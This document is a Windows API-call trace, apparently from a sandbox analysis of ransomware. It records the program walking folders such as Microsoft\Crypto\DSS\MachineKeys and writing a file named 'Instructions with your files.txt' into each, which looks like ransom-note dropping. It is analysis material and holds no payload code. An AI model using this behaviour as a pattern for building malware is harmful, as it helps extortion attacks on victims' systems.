[0131.768] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.768] CloseHandle (hObject=0x11c) returned 1
[0131.768] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.768] GetProcessHeap () returned 0x810000
[0131.768] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f0058 | out: hHeap=0x810000) returned 1
[0131.768] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0867480, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb0867480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.768] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Instructions with your files.txt") returned 87
[0131.768] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.768] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0867480, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb0867480, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.768] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Instructions with your files.txt") returned 87
[0131.768] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.769] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.769] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.769] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.770] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.770] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.770] CloseHandle (hObject=0x118) returned 1
[0131.770] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.770] GetProcessHeap () returned 0x810000
[0131.770] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.770] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb088d5e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb088d5e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.770] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Instructions with your files.txt") returned 83
[0131.770] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.770] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb088d5e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb088d5e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.770] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Instructions with your files.txt") returned 83
[0131.770] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.770] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.771] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.771] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.771] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.771] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.771] CloseHandle (hObject=0x114) returned 1
[0131.772] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.772] GetProcessHeap () returned 0x810000
[0131.772] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.772] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb088d5e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb088d5e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.772] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Instructions with your files.txt") returned 76
[0131.772] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.772] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb088d5e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb088d5e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.772] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Instructions with your files.txt") returned 76
[0131.772] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Assistance\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\assistance\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.772] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.773] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.773] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.773] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.773] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.773] CloseHandle (hObject=0x110) returned 1
[0131.773] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.773] GetProcessHeap () returned 0x810000
[0131.773] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.773] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a0a3a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a0a3a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Crypto", cAlternateFileName="")) returned 1
[0131.773] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto") returned 39
[0131.773] GetProcessHeap () returned 0x810000
[0131.773] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.774] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\*") returned 41
[0131.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a0a3a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a0a3a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.774] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\.") returned 41
[0131.774] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a0a3a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0a0a3a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.774] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\..") returned 42
[0131.774] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0925b60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0925b60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DSS", cAlternateFileName="")) returned 1
[0131.774] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\DSS") returned 43
[0131.774] GetProcessHeap () returned 0x810000
[0131.774] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.774] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*") returned 45
[0131.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0925b60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0925b60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0131.774] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\.") returned 45
[0131.774] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0925b60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0925b60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.774] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\..") returned 46
[0131.774] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb0925b60, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb0925b60, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb0925b60, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.774] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Instructions with your files.txt") returned 76
[0131.774] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.774] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb088d5e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1
[0131.774] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys") returned 55
[0131.774] GetProcessHeap () returned 0x810000
[0131.774] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.774] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*") returned 57
[0131.774] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb088d5e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0131.774] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\.") returned 57
[0131.775] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb088d5e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.775] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\..") returned 58
[0131.775] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb088d5e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb088d5e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.775] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Instructions with your files.txt") returned 88
[0131.775] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.775] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb088d5e0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb088d5e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.775] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Instructions with your files.txt") returned 88
[0131.775] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\MachineKeys\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\machinekeys\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0131.775] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0131.776] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0131.776] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0131.776] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0131.776] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0131.776] CloseHandle (hObject=0x118) returned 1
[0131.778] FindClose (in: hFindFile=0x876d38 | out: hFindFile=0x876d38) returned 1
[0131.778] GetProcessHeap () returned 0x810000
[0131.778] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.778] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb088d5e0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb088d5e0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0
[0131.778] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Instructions with your files.txt") returned 76
[0131.778] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft\\Crypto\\DSS\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft\\crypto\\dss\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0131.778] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0131.779] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0131.780] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0131.780] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0131.780] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0131.780] CloseHandle (hObject=0x114) returned 1
[0131.780] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0131.780] GetProcessHeap () returned 0x810000
[0131.780] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
